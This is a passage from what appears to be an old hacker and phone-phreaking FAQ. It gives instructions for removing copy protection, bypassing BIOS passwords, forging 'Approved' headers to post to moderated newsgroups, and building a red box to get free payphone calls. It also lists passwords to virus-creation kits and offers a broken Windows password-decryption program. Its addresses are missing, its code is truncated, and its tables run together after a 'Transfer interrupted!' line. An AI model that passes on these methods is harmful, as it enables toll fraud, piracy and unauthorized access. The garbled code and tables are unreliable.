Here you are addressing another anonymous user and your E-Mail message
will appear to have originated from

Here you are posting an anonymous message to a whole Usenet group and in
this case to which will be posted at the local site (in
this case Finland).

If you send a message to this address you will be allocated an identity
(assuming you don't already have one).  You can also confirm your
identity here as well.

You can also set yourself a password, this password helps to
authenticate any messages that you may send.  This password is included
in your outgoing messages, to set a password send E-Mail to with your password in the body of your text e.g.:


For more information on this anonymous server send mail to:

Anonymous Usenet posting is frowned upon by other users of Usenet groups
claiming their opinions are worthless.  This is because they believe
anonymity is used to shield ones self from attacks from opponents, while
on the other hand it can be used to protect ones self from social
prejudice (or people reporting ones opinions to ones superiors).  Also
if you are thinking this is a useful tool to use to hid against the
authorities then think again, as there was a famous case where a Judge
ordered the administrator of the server to reveal the identity of a

To see a comprehensive list on anonymous remailers finger or point your web browser to

33. How do I defeat Copy Protection?

There are two common methods of defeating copy protection.  The first
is to use a program that removes copy protection.  Popular programs
that do this are CopyIIPC from Central Point Software and CopyWrite
from Quaid Software.  The second method involves patching the copy
protected program.  For popular software, you may be able to locate a
ready made patch.  You can them apply the patch using any hex editor,
such as debug or the Peter Norton's DiskEdit.  If you cannot, you must
patch the software yourself.

Writing a patch requires a debugger, such as Soft-Ice or Sourcer.  It
also requires some knowledge of assembly language.  Load the protected
program under the debugger and watch for it to check the protection
mechanism.  When it does, change that portion of the code.  The code
can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to
JMP (Jump Unconditionally).  Or the code may simply be replaced with
NOP (No Operation) instructions.

34. What is is a loopback network connection.  If you telnet, ftp, etc...
to it you are connected to your own machine.

35. How do I post to a moderated newsgroup?

Usenet messages consist of message headers and message bodies.  The
message header tells the news software how to process the message.
Headers can be divided into two types, required and optional. Required
headers are ones like "From" and "Newsgroups."  Without the required
headers, your message will not be posted properly.

One of the optional headers is the "Approved" header.  To post to a
moderated newsgroup, simply add an Approved header line to your
message header.  The header line should contain the newsgroup
moderators e-mail address.  To see the correct format for your target
newsgroup, save a message from the newsgroup and then look at it using
any text editor.

A "Approved" header line should look like this:


There cannot not be a blank line in the message header.  A blank line
will cause any portion of the header after the blank line to be
interpreted as part of the message body.

For more information, read RFC 1036: Standard for Interchange of
USENET messages.

36. How do I post to Usenet via e-mail?

Through an e-mail->Usenet gateway.  Send an a e-mail messages to
<newsgroup>@<servername>.  For example, to post to alt.2600 through, address your mail to

Here are a few e-mail->Usenet gateways:

37. How do I defeat a BIOS password?

This depends on what BIOS the machine has.  Common BIOS's include AMI,
Award, IBM and Phoenix.  Numerous other BIOS's do exist, but these are
the most common.

Some BIOS's allow you to require a password be entered before the system
will boot. Some BIOS's allow you to require a password to be entered
before the BIOS setup may be accessed.

Every BIOS must store this password information somewhere.  If you are
able to access the machine after it has been booted successfully, you
may be able to view the password.  You must know the memory address
where the password is stored, and the format in which the password is
stored.  Or, you must have a program that knows these things.

The most common BIOS password attack programs are for Ami BIOS.  Some
password attack programs will return the AMI BIOS password in plain
text, some will return it in ASCII codes, some will return it in scan
codes. This appears to be dependent not just on the password attacker,
but also  on the version of Ami BIOS.

To obtain Ami BIOS password attackers, ftp to

If you cannot access the machine after if has been powered up, it is
still possible to get past the password.  The password is stored in CMOS
memory that is maintained while the PC is powered off by a small
battery, which is attached to the motherboard.  If you remove this
battery, all CMOS information will be lost.  You will need to re-enter
the correct CMOS setup information to use the machine.  The machines
owner or user will most likely be alarmed when it is discovered that the
BIOS password has been deleted.

On some motherboards, the battery is soldered to the motherboard, making
it difficult to remove.  If this is the case, you have another
alternative.  Somewhere on the motherboard you should find a jumper that
will clear the BIOS password.  If you have the motherboard
documentation, you will know where that jumper is.  If not, the jumper
may be labeled on the motherboard.  If you are not fortunate enough for
either of these to be the case, you may be able to guess which jumper is
the correct jumper.  This jumper is usually standing alone near the

38. What is the password for <encrypted file>?

This FAQ answer was written by crypt <>

 Magazine                        Password
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~    ~~~~~~~~~~~
 VLAD Magazine Issue #1          vlad
 VLAD Magazine Issue #2          vx
 VLAD Magazine Issue #3          virus
 NuKE InfoJournal Issue #2       514738
 NuKE InfoJournal Issue #3       power
 NuKE InfoJournal Issue #4       party

 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~    ~~~~~~~~~~~
 Sphere Hacker 1.40 & 1.41       theozone
 Virus Creation 2000             high level
 Virus Construction Lab          Chiba City
 Ejecutor Virus Creator          EJECUTOR
 Biological Warfare v0.90        lo tek
 Biological Warfare v1.00        freak

39. Is there any hope of a decompiler that would convert an executable
    program into C/C++ code?

This FAQ answer is an excerpt from SNIPPETS by Bob Stout.

Don't hold your breath. Think about it... For a decompiler to work
properly, either 1) every compiler would have to generate substantially
identical code, even with full optimization turned on, or 2) it would
have to recognize the individual output of every compiler's code

If the first case were to be correct, there would be no more need for
compiler benchmarks since every one would work the same.  For the second
case to be true would require in immensely complex program that had to
change with every new compiler release.

OK, so what about specific decompilers for specific compilers - say a
decompiler designed to only work on code generated by, say, BC++ 4.5?
This gets us right back to the optimization issue.  Code written for
clarity and understandability is often inefficient.  Code written for
maximum performance (speed or size) is often cryptic (at best!) Add to
this the fact that all modern compilers have a multitude of optimization
switches to control which optimization techniques to enable and which to
avoid.  The bottom line is that, for a reasonably large, complex source
module, you can get the compiler to produce a number of different object
modules simply by changing your optimization switches, so your
decompiler will also have to be a deoptimizer which can automagically
recognize which optimization strategies were enabled at compile time.

OK, let's simplify further and specify that you only want to support one
specific compiler and you want to decompile to the most logical source
code without trying to interpret the optimization.  What then?  A good
optimizer can and will substantially rewrite the internals of your code,
so what you get out of your decompiler will be, not only cryptic, but in
many cases, riddled with goto statements and other no-no's of good
coding practice.  At this point, you have decompiled source, but what
good is it?

Also note carefully my reference to source modules.  One characteristic
of C is that it becomes largely unreadable unless broken into easily
maintainable source modules (.C files).  How will the decompiler deal
with that? It could either try to decompile the whole program into some
mammoth main() function, losing all modularity, or it could try to place
each called function into its own file.  The first way would generate
unusable chaos and the second would run into problems where the original
source hade files with multiple functions using static data and/or one
or more functions calling one or more static functions.  A decompiler
could make static data and/or functions global but only at the expense
or readability (which would already be unacceptable).

Finally, remember that commercial applications often code the most
difficult or time-critical functions in assembler which could prove
almost impossible to decompile into a C equivalent.

Like I said, don't hold your breath. As technology improves to where
decompilers may become more feasible, optimizers and languages (C++, for
example, would be a significantly tougher language to decompile than C)
also conspire to make them less likely.

For years Unix applications have been distributed in shrouded source
form (machine but not human readable -- all comments and whitespace
removed, variables names all in the form OOIIOIOI, etc.), which has been
a quite adequate means of protecting the author's rights.  It's very
unlikely that decompiler output would even be as readable as shrouded

40. How does the MS-Windows password encryption work?

This FAQ answer was written by Wayne Hoxsie <>

The password option in MS Win 3.1 is easily defeated, but there are
those of us who really want to know how MS does this.  There are many
reasons why knowing the actual password can be useful.  Suppose a
sysamin used the same password in the windows screen saver as his root
account on a unix box.

Anyway, I will attempt to relay what I have learned about this algorithm.

I will describe the process starting after you've entered the password
and hit the [OK] button.

I will make the assumtion that everyone (at least those interested) know
what the XOR operation is.

First, the length of the password is saved.  We'll call this 'len'.  We
will be moving characters from the entered string into another string as
they are encrypted.  We'll call the originally entered password
'plaintext' and the encrypted string(strings--there are two passes)
'hash1' and 'hash2.'  The position in the plaintext is important during
the process so we'll refer to this as 'pos.'  After each step of the
hashing process, the character is checked against a set of characters
that windows considers 'special.'  These characters are '[ ] =' and any
character below ASCII 33 or above ASCII 126.  I'll refer to this
checking operation as 'is_ok.'  All indecies are zero-based (i.e. an 8
character password is considered chars 0 to 7).

Now, the first character of 'plaintext' is xor'd with 'len' then fed to
'is_ok'.  if the character is not valid, it is replaced by the original
character of 'plaintext' before going to the next operation.  The next
operation is to xor with 'pos' (this is useless for the first operation
since 'len' is 0 and anything xor'd with zero is itself) then fed to
'is_ok' and replaced with the original if not valid.  The final
operation (per character) is to xor it with the previous character of
'plaintext'. Since there is no previous character, the fixed value, 42,
is used on the first character of 'plaintext'.  This is then fed to
'is_ok' and if OK, it is stored into the first position of 'hash1'  This
process proceeds until all characters of plaintext are exhausted.

The second pass is very similar, only now, the starting point is the
last character in hash1 and the results are placed into hash2 from the
end to the beginning.  Also, instead of using the previous character in
the final xoring, the character following the current character is used.
Since there is no character following the last character in hash1, the
value, 42 is again used for the last character.

'hash2' is the final string and this is what windows saves in the file

To 'decrypt' the password, the above procedure is just reversed.

Now, what you've all been waiting for.  Here is some C code that will do
the dirty work for you:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int xor1(int i,int j)
  int x;

  return (x>126||x<33||x==91||x==93||x==61)?i:x;
void main()
  FILE *f;
  int i,l;
  char s[80],s1[80];

  printf("Please enter the path to your Windows directory\n");
    printf("File Error : %s\n",sys_errlist[errno]);
  printf("The Password is: %s\n",s);

Section B: Telephony

01. What is a Red Box?

When a coin is inserted into a payphone, the payphone emits a set of
tones to ACTS (Automated Coin Toll System).  Red boxes work by fooling
ACTS into believing you have actually put money into the phone.  The
red box simply plays the ACTS tones into the telephone microphone.
ACTS hears those tones, and allows you to place your call.  The actual
tones are:

Nickel Signal      1700+2200hz  0.060s on
Dime Signal        1700+2200hz  0.060s on, 0.060s off, twice repeating
Quarter Signal     1700+2200hz  33ms on, 33ms off, 5 times repeating

Canada uses a variant of ACTSD called N-ACTS.  N-ACTS uses different
tones than ACTS.  In Canada, the tones to use are:

Nickel Signal      2200hz       0.060s on
Dime Signal        2200hz       0.060s on, 0.060s off, twice repeating
Quarter Signal     2200hz       33ms on, 33ms off, 5 times repeating

02. How do I build a Red Box?

Red boxes are commonly manufactured from modified Radio Shack tone
dialers, Hallmark greeting cards, or made from scratch from readily
available electronic components.

To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer, open
the dialer and replace the crystal with a new one. The purpose of the
new crystal is to cause the * button on your tone dialer to create a
1700Mhz and 2200Mhz tone instead of the original 941Mhz and 1209Mhz
tones.  The exact value of the replacement crystal should be 6.466806 to
create a perfect 1700Mhz tone and 6.513698 to create a perfect 2200mhz
tone.  A crystal close to those values will create a tone that easily
falls within the loose tolerances of ACTS. The most popular choice is
the 6.5536Mhz crystal, because it is the easiest to procure.  The old
crystal is the large shiny metal component labeled "3.579545Mhz."  When
you are finished replacing the crystal, program the P1 button with five
*'s.  That will simulate a quarter tone each time you press P1.

03. Where can I get a 6.5536Mhz crystal?

Your best bet is a local electronics store.  Radio Shack sells them, but
they are overpriced and the store must order them in.  This takes
approximately two weeks.  In addition, many Radio Shack employees do not
know that this can be done.

Or, you could order the crystal mail order.  This introduces Shipping
and Handling charges, which are usually much greater than the price of
the crystal.  It's best to get several people together to share the S&H
cost.  Or, buy five or six yourself and sell them later.  Some of the
places you can order crystals are:

701 Brooks Avenue South
P.O. Box 677
Thief River Falls, MN 56701-0677
Part Number:X415-ND    /* Note: 6.500Mhz and only .197 x .433 x .149! */
Part Number:X018-ND

JDR Microdevices:
2233 Branham Lane
San Jose, CA 95124
Part Number: 6.5536MHZ

Tandy Express Order Marketing
401 NE 38th Street
Fort Worth, TX 76106
Part Number: 10068625

2300 Zanker Road
San Jose CA 95131
(408)943-9774 Voice
(408)943-9776 Fax
(408)943-0622 BBS
Part Number: 92A057

Part Number: 332-1066

Blue Saguaro
P.O. Box 37061
Tucson, AZ 85740
Part Number: 1458b

Unicorn Electronics
10000 Canoga Ave, Unit c-2
Chatsworth, CA 91311
Phone: 1-800-824-3432
Part Number: CR6.5

04. Which payphones will a Red Box work on?

Red Boxes will work on telco owned payphones, but not on COCOT's
(Customer Owned Coin Operated Telephones).

Red boxes work by fooling ACTS (Automated Coin Toll System) into
believing you have put money into the pay phone.  ACTS is the
telephone company software responsible for saying "Please deposit XX
cents" and listening for the coins being deposited.

COCOT's do not use ACTS.  On a COCOT, the pay phone itself is
responsible for determining what coins have been inserted.

05. How do I make local calls with a Red Box?

Payphones do not use ACTS for local calls.  To use your red box for
local calls, you have to fool ACTS into getting involved in the call.

One way to do this, in some areas, is by dialing 10288-xxx-xxxx.  This
makes your call a long distance call, and brings ACTS into the

In other areas, you can call Directory Assistance and ask for the
number of the person you are trying to reach.  The operator will give
you the number and then you will hear a message similar to "Your call
can be completed automatically for an additional 35 cents."  When this
happens, you can then use ACTS tones.

06. What is a Blue Box?

Blue boxes use a 2600hz tone to size control of telephone switches
that use in-band signalling.  The caller may then access special
switch functions, with the usual purpose of making free long distance
phone calls, using the tones provided by the Blue Box.

07. Do Blue Boxes still work?

This FAQ answer is excerpted from a message posted to Usenet by
Marauder of the Legion of Doom:

        Somewhere along the line I have seen reference to something
        similar to "Because of ESS Blue boxing is impossible".  This is
        incorrect.  When I lived in Connecticut I was able to blue box
        under Step by Step, #1AESS, and DMS-100.  The reason is simple,
        even though I was initiating my call to an 800 number from a
        different exchange (Class 5 office, aka Central Office) in each
        case, when the 800 call was routed to the toll network it would
        route through the New Haven #5 Crossbar toll Tandem office.  It
        just so happens that the trunks between the class 5 (CO's) and
        the class 4 (toll office, in this case New Haven #5 Xbar),
        utilized in-band (MF) signalling, so regardless of what I
        dialed, as long as it was an Inter-Lata call, my call would
        route through this particular set of trunks, and I could Blue
        box until I was blue in the face.  The originating Central
        Offices switch (SXS/ESS/Etc..) had little effect on my ability
        to box at all.  While the advent of ESS (and other electronic
        switches) has made the blue boxers task a bit more difficult,
        ESS is not the reason most of you are unable to blue box.  The
        main culprit is the "forward audio mute" feature of CCIS (out of
        band signalling).  Unfortunately for the boxer 99% of the Toll
        Completion centers communicate using CCIS links, This spells
        disaster for the blue boxer since most of you must dial out of
        your local area to find trunks that utilize MF signalling, you
        inevitably cross a portion of the network that is CCIS equipped,
        you find an exchange that you blow 2600hz at, you are rewarded
        with a nice "winkstart", and no matter what MF tones you send at
        it, you meet with a re-order.  This is because as soon as you
        seized the trunk (your application of 2600hz), your Originating
        Toll Office sees this as a loss of supervision at the
        destination, and Mutes any further audio from being passed to
        the destination (ie: your waiting trunk!).  You meet with a
        reorder because the waiting trunk never "hears" any of the MF
        tones you are sending, and it times out.  So for the clever
        amongst you, you must somehow get yourself to the 1000's of
        trunks out there that still utilize MF signalling but
        bypass/disable the CCIS audio mute problem.  (Hint: Take a close
        look at WATS extenders).

08. What is a Black Box?

A Black Box is a resistor (and often capacitor in parallel) placed in
series across your phone line to cause the phone company equipment to be
unable to detect that you have answered your telephone.  People who call
you will then not be billed for the telephone call.  Black boxes do not
work under ESS.

09. What do all the colored boxes do?

Acrylic      Steal Three-Way-Calling, Call Waiting and programmable
	     Call Forwarding on old 4-wire phone systems
Aqua         Drain the voltage of the FBI lock-in-trace/trap-trace
Beige        Lineman's hand set
Black        Allows the calling party to not be billed for the call
Blast        Phone microphone amplifier
Blotto       Supposedly shorts every phone out in the immediate area
Blue         Emulate a true operator by seizing a trunk with a 2600hz
Brown        Create a party line from 2 phone lines
Bud          Tap into your neighbors phone line
Chartreuse   Use the electricity from your phone line
Cheese       Connect two phones to create a diverter
Chrome       Manipulate Traffic Signals by Remote Control
Clear        A telephone pickup coil and a small amp used to make free
	     calls on Fortress Phones
Color        Line activated telephone recorder
Copper       Cause crosstalk interference on an extender
Crimson      Hold button
Dark         Re-route outgoing or incoming calls to another phone
Dayglo       Connect to your neighbors phone line
Diverter     Re-route outgoing or incoming calls to another phone
DLOC         Create a party line from 2 phone lines
Gold         Dialout router
Green        Emulate the Coin Collect, Coin Return, and Ringback tones
Infinity     Remotely activated phone tap
Jack         Touch-Tone key pad
Light        In-use light
Lunch        AM transmitter
Magenta      Connect a remote phone line to another remote phone line
Mauve        Phone tap without cutting into a line
Neon         External microphone
Noise        Create line noise
Olive        External ringer
Party        Create a party line from 2 phone lines
Pearl        Tone generator
Pink         Create a party line from 2 phone lines
Purple       Telephone hold button
Rainbow      Kill a trace by putting 120v into the phone line (joke)
Razz         Tap into your neighbors phone
Red          Make free phone calls from pay phones by generating
	     quarter tones
Rock         Add music to your phone line
Scarlet      Cause a neighbors phone line to have poor reception
Silver       Create the DTMF tones for A, B, C and D
Static       Keep the voltage on a phone line high
Switch       Add hold, indicator lights, conferencing, etc..
Tan          Line activated telephone recorder
Tron         Reverse the phase of power to your house, causing your
	     electric meter to run slower
TV Cable     "See" sound waves on your TV
Urine        Create a capacitative disturbance between the ring and
	     tip wires in another's telephone headset
Violet       Keep a payphone from hanging up
White        Portable DTMF keypad
Yellow       Add an extension phone

Box schematics may be retrieved from these FTP sites:          /pub/br/bradleym          /pub/va/vandal       /users/nitehwk

10. What is an ANAC number?

An ANAC (Automatic Number Announcement Circuit) number is a telephone
number that plays back the number of the telephone that called it.
ANAC numbers are convenient if you want to know the telephone number
of a pair of wires.

11. What is the ANAC number for my area?

How to find your ANAC number:

Look up your NPA (Area Code) and try the number listed for it. If that
fails, try 1 plus the number listed for it.  If that fails, try the
common numbers like 311, 958 and 200-222-2222.  If you find the ANAC
number for your area, please let us know.

Note that many times the ANAC number will vary for different switches
in the same city.  The geographic naming on the list is NOT intended
to be an accurate reference for coverage patterns, it is for
convenience only.

Many companies operate 800 number services which will read back to you
the number from which you are calling.  Many of these require navigating
a series of menus to get the phone number you are looking for.  Please
use local ANAC numbers if you can, as overuse or abuse can kill 800 ANAC

N (800)425-6256   VRS Billing Systems/Integretel (800)4BLOCKME
  (800)568-3197   Info Access Telephone Company's Automated Blocking Line
  (800)692-6447   (800)MY-ANI-IS  (Now protected by a passcode!)
N (800)858-9857   AT&T True Rewards

A non-800 ANAC that works nationwide is 404-988-9664.  The one catch
with this number is that it must be dialed with the AT&T Carrier Access
Code 10732.  Use of this number does not appear to be billed.

Note: These geographic areas are for reference purposes only.  ANAC
numbers may vary from switch to switch within the same city.

  NPA  ANAC number      Approximate Geographic area
  ---  ---------------  ---------------------------------------------
  201  958              Hackensack/Jersey City/Newark/Paterson, NJ
  202  811              District of Columbia
  203  970              CT
  205  300-222-2222     Birmingham, AL
  205  300-555-5555     Many small towns in AL
  205  300-648-1111     Dora, AL
  205  300-765-4321     Bessemer, AL
  205  300-798-1111     Forestdale, AL
  205  300-833-3333     Birmingham
  205  557-2311         Birmingham, AL
  205  811              Pell City/Cropwell/Lincoln, AL
  205  841-1111         Tarrant, AL
  205  908-222-2222     Birmingham, AL
  206  411              WA (Not US West)
  207  958              ME
  209  830-2121         Stockton, CA
  209  211-9779         Stockton, CA
  210  830              Brownsville/Laredo/San Antonio, TX
N 210  951              Brownsville/Laredo/San Antonio, TX (GTE)
  212  958              Manhattan, NY
  213  114              Los Angeles, CA (GTE)
  213  1223             Los Angeles, CA (Some 1AESS switches)
  213  211-2345         Los Angeles, CA (English response)
  213  211-2346         Los Angeles, CA (DTMF response)
  213  760-2???         Los Angeles, CA (DMS switches)
  213  61056            Los Angeles, CA
  214  570              Dallas, TX
  214  790              Dallas, TX (GTE)
  214  970-222-2222     Dallas, TX
  214  970-611-1111     Dallas, TX (Southwestern Bell)
  215  410-xxxx         Philadelphia, PA
  215  511              Philadelphia, PA
  215  958              Philadelphia, PA
  216  200-XXXX         Akron/Canton/Cleveland/Lorain/Youngstown, OH
  216  331              Akron/Canton/Cleveland/Lorain/Youngstown, OH
  216  959-9892         Akron/Canton/Cleveland/Lorain/Youngstown, OH
  217  200-xxx-xxxx     Champaign-Urbana/Springfield, IL
  219  550              Gary/Hammond/Michigan City/Southbend, IN
  219  559              Gary/Hammond/Michigan City/Southbend, IN
N 301  2002006969       Hagerstown/Rockville, MD
  301  958-9968         Hagerstown/Rockville, MD
  303  958              Aspen/Boulder/Denver/Durango/Grand Junction
                        /Steamboat Springs, CO
N 305  200-555-1212     Ft. Lauderdale/Key West/Miami, FL
N 305  200200200200200  Ft. Lauderdale/Key West/Miami, FL
N 305  780-2411         Ft. Lauderdale/Key West/Miami, FL
  310  114              Long Beach, CA (On many GTE switches)
  310  1223             Long Beach, CA (Some 1AESS switches)
  310  211-2345         Long Beach, CA (English response)
  310  211-2346         Long Beach, CA (DTMF response)
  312  200              Chicago, IL
  312  290              Chicago, IL
  312  1-200-8825       Chicago, IL (Last four change rapidly)
  312  1-200-555-1212   Chicago, IL
  313  200-200-2002     Ann Arbor/Dearborn/Detroit, MI
  313  200-222-2222     Ann Arbor/Dearborn/Detroit, MI
  313  200-xxx-xxxx     Ann Arbor/Dearborn/Detroit, MI
  313  200200200200200  Ann Arbor/Dearborn/Detroit, MI
  314  410-xxxx#        Columbia/Jefferson City/St.Louis, MO
  315  953              Syracuse/Utica, NY
  315  958              Syracuse/Utica, NY
  315  998              Syracuse/Utica, NY
  317  310-222-2222     Indianapolis/Kokomo, IN
  317  559-222-2222     Indianapolis/Kokomo, IN
  317  743-1218         Indianapolis/Kokomo, IN
  334  5572411          Montgomery, AL
  334 5572311           Montgomery, AL
  401  200-200-4444     RI
  401  222-2222         RI
  402  311              Lincoln, NE
  404  311              Atlanta, GA
N 770  780-2311         Atlanta, GA
  404  940-xxx-xxxx     Atlanta, GA
  404  990              Atlanta, GA
  405  890-7777777      Enid/Oklahoma City, OK
  405  897              Enid/Oklahoma City, OK
U 407  200-222-2222     Orlando/West Palm Beach, FL (Bell South)
N 407  520-3111         Orlando/West Palm Beach, FL (United)
  408  300-xxx-xxxx     San Jose, CA
  408  760              San Jose, CA
  408  940              San Jose, CA
  409  951              Beaumont/Galveston, TX
  409  970-xxxx         Beaumont/Galveston, TX
  410  200-6969         Annapolis/Baltimore, MD
N 410  200-200-6969     Annapolis/Baltimore, MD
  410  200-555-1212     Annapolis/Baltimore, MD
  410  811              Annapolis/Baltimore, MD
  412  711-6633         Pittsburgh, PA
  412  711-4411         Pittsburgh, PA
  412  999-xxxx         Pittsburgh, PA
  413  958              Pittsfield/Springfield, MA
  413  200-555-5555     Pittsfield/Springfield, MA
  414  330-2234         Fond du Lac/Green Bay/Milwaukee/Racine, WI
  415  200-555-1212     San Francisco, CA
  415  211-2111         San Francisco, CA
  415  2222             San Francisco, CA
  415  640              San Francisco, CA
  415  760-2878         San Francisco, CA
  415  7600-2222        San Francisco, CA
  419  311              Toledo, OH
N 423  200-200-200      Chatanooga, Johnson City, Knoxville , TN
N 501  511              AR
  502  2002222222       Frankfort/Louisville/Paducah/Shelbyville, KY
  502  997-555-1212     Frankfort/Louisville/Paducah/Shelbyville, KY
  503  611              Portland, OR
  503  999              Portland, OR (GTE)
  504  99882233         Baton Rouge/New Orleans, LA
  504  201-269-1111     Baton Rouge/New Orleans, LA
  504  998              Baton Rouge/New Orleans, LA
  504  99851-0000000000 Baton Rouge/New Orleans, LA
  508  958              Fall River/New Bedford/Worchester, MA
  508  200-222-1234     Fall River/New Bedford/Worchester, MA
  508  200-222-2222     Fall River/New Bedford/Worchester, MA
  508  26011            Fall River/New Bedford/Worchester, MA
  509  560              Spokane/Walla Walla/Yakima, WA
  510  760-1111         Oakland, CA
  512  830              Austin/Corpus Christi, TX
  512  970-xxxx         Austin/Corpus Christi, TX
N 513  380-55555555     Cincinnati/Dayton, OH
  515  5463             Des Moines, IA
  515  811              Des Moines, IA
  516  958              Hempstead/Long Island, NY
  516  968              Hempstead/Long Island, NY
  517  200-222-2222     Bay City/Jackson/Lansing, MI
  517  200200200200200  Bay City/Jackson/Lansing, MI
  518  511              Albany/Schenectady/Troy, NY
  518  997              Albany/Schenectady/Troy, NY
  518  998              Albany/Schenectady/Troy, NY
N 540  211              Roanoke, VA (GTE)
N 540  311              Roanoke, VA (GTE)
N 541  200              Bend, OR
  603  200-222-2222     NH
  606  997-555-1212     Ashland/Winchester, KY
  606  711              Ashland/Winchester, KY
  607  993              Binghamton/Elmira, NY
  609  958              Atlantic City/Camden/Trenton/Vineland, NJ
  610  958              Allentown/Reading, PA
  610  958-4100         Allentown/Reading, PA
  612  511              Minneapolis/St.Paul, MN
  614  200              Columbus/Steubenville, OH
  614  571              Columbus/Steubenville, OH
  615  200200200200200  Chatanooga/Knoxville/Nashville, TN
  615  2002222222       Chatanooga/Knoxville/Nashville, TN
  615  830              Nashville, TN
  616  200-222-2222     Battle Creek/Grand Rapids/Kalamazoo, MI
  617  200-222-1234     Boston, MA
  617  200-222-2222     Boston, MA
  617  200-444-4444     Boston, MA (Woburn, MA)
  617  220-2622         Boston, MA
  617  958              Boston, MA
  618  200-xxx-xxxx     Alton/Cairo/Mt.Vernon, IL
  618  930              Alton/Cairo/Mt.Vernon, IL

Transfer interrupted!

19 211-2121 San Diego, CA N 659 220-2622 Newmarket, NH N 703 211 VA N 703 511-3636 Culpeper/Orange/Fredericksburg, VA 703 811 Alexandria/Arlington/Roanoke, VA 704 311 Asheville/Charlotte, NC N 706 940-xxxx Augusta, GA 707 211-2222 Eureka, CA 708 1-200-555-1212 Chicago/Elgin, IL 708 1-200-8825 Chicago/Elgin, IL (Last four change rapidly) 708 200-6153 Chicago/Elgin, IL 708 724-9951 Chicago/Elgin, IL 713 380 Houston, TX 713 970-xxxx Houston, TX 713 811 Humble, TX N 713 380-5555-5555 Houston, TX 714 114 Anaheim, CA (GTE) 714 211-2121 Anaheim, CA (PacBell) 714 211-2222 Anaheim, CA (Pacbell) N 714 211-7777 Anaheim, CA (Pacbell) 716 511 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel) 716 990 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel) 717 958 Harrisburg/Scranton/Wilkes-Barre, PA 718 958 Bronx/Brooklyn/Queens/Staten Island, NY N 770 940-xxx-xxxx Marietta/Norcross, GA N 770 780-2311 Marietta/Norcross, GA 802 2-222-222-2222 Vermont 802 200-222-2222 Vermont 802 1-700-222-2222 Vermont 802 111-2222 Vermont N 804 990 Virginia Beach, VA 805 114 Bakersfield/Santa Barbara, CA 805 211-2345 Bakersfield/Santa Barbara, CA 805 211-2346 Bakersfield/Santa Barbara, CA (Returns DTMF) 805 830 Bakersfield/Santa Barbara, CA 806 970-xxxx Amarillo/Lubbock, TX 810 200200200200200 Flint/Pontiac/Southfield/Troy, MI N 810 311 Pontiac/Southfield/Troy, MI 812 410-555-1212 Evansville, IN 813 311 Ft. Meyers/St. Petersburg/Tampa, FL N 815 200-3374 Crystal Lake, IL N 815 270-3374 Crystal Lake, IL N 815 770-3374 Crystal Lake, IL 815 200-xxx-xxxx La Salle/Rockford, IL 815 290 La Salle/Rockford, IL 817 211 Ft. Worth/Waco, TX 817 970-611-1111 Ft. Worth/Waco, TX (Southwestern Bell) 818 1223 Pasadena, CA (Some 1AESS switches) 818 211-2345 Pasadena, CA (English response) 818 211-2346 Pasadena, CA (DTMF response) N 860 970 CT 903 970-611-1111 Tyler, TX 904 200-222-222 Jackonsville/Pensacola/Tallahasee, FL 906 1-200-222-2222 Marquette/Sault Ste. Marie, MI 907 811 AK 908 958 New Brunswick, NJ N 909 111 Riverside/San Bernardino, CA (GTE) 910 200 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC 910 311 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC 910 988 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC 914 990-1111 Peekskill/Poughkeepsie/White Plains/Yonkers, NY 915 970-xxxx Abilene/El Paso, TX N 916 211-0007 Sacramento, CA (Pac Bell) 916 461 Sacramento, CA (Roseville Telephone) 919 200 Durham, NC 919 711 Durham, NC N 954 200-555-1212 Ft. Lauderdale, FL N 954 200200200200200 Ft. Lauderdale, FL N 954 780-2411 Ft. Lauderdale, FL Canada: 204 644-4444 Manitoba 306 115 Saskatchewan 403 311 Alberta, Yukon and N.W. Territory 403 908-222-2222 Alberta, Yukon and N.W. Territory 403 999 Alberta, Yukon and N.W. Territory 416 997-xxxx Toronto, Ontario 506 1-555-1313 New Brunswick 514 320-xxxx Montreal, Quebec U 514 320-1232 Montreal, Quebec U 514 320-1223 Montreal, Quebec U 514 320-1233 Montreal, Quebec 519 320-xxxx London, Ontario 604 1116 British Columbia 604 1211 British Columbia 604 211 British Columbia 613 320-2232 Ottawa, Ontario 705 320-4567 North Bay/Saulte Ste. Marie, Ontario N 819 320-1112 Quebec Australia: +61 03-552-4111 Victoria 03 area +612 19123 All major capital cities +612 11544 United Kingdom: 175 Israel: 110 12. What is a ringback number? A ringback number is a number that you call that will immediately ring the telephone from which it was called. In most instances you must call the ringback number, quickly hang up the phone for just a short moment and then let up on the switch, you will then go back off hook and hear a different tone. You may then hang up. You will be called back seconds later. 13. What is the ringback number for my area? An 'x' means insert those numbers from the phone number from which you are calling. A '?' means that the number varies from switch to switch in the area, or changes from time to time. Try all possible combinations. If the ringback for your NPA is not listed, try common ones such as 114, 951-xxx-xxxx, 954, 957 and 958. Also, try using the numbers listed for other NPA's served by your telephone company. Note: These geographic areas are for reference purposes only. Ringback numbers may vary from switch to switch within the same city. NPA Ringback number Approximate Geographic area --- --------------- --------------------------------------------- 201 55?-xxxx Hackensack/Jersey City/Newark/Paterson, NJ 202 958-xxxx District of Columbia 203 99?-xxxx CT 206 571-xxxx WA N 208 59X-xxxx ID 208 99xxx-xxxx ID N 210 211-8849-xxxx Brownsville/Laredo/San Antonio, TX (GTE) 213 1-95x-xxxx Los Angeles, CA N 214 971-xxxx Dallas, TX 215 811-xxxx Philadelphia, PA 216 551-xxxx Akron/Canton/Cleveland/Lorain/Youngstown, OH 219 571-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN 219 777-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN 301 579-xxxx Hagerstown/Rockville, MD 301 958-xxxx Hagerstown/Rockville, MD 303 99X-xxxx Grand Junction, CO 304 998-xxxx WV 305 999-xxxx Ft. Lauderdale/Key West/Miami, FL 312 511-xxxx Chicago, IL 312 511-xxx-xxxx Chicago, IL 312 57?-xxxx Chicago, IL 315 98x-xxxx Syracuse/Utica, NY 317 777-xxxx Indianapolis/Kokomo, IN 317 yyy-xxxx Indianapolis/Kokomo, IN (y=3rd digit of phone number) 319 79x-xxxx Davenport/Dubuque, 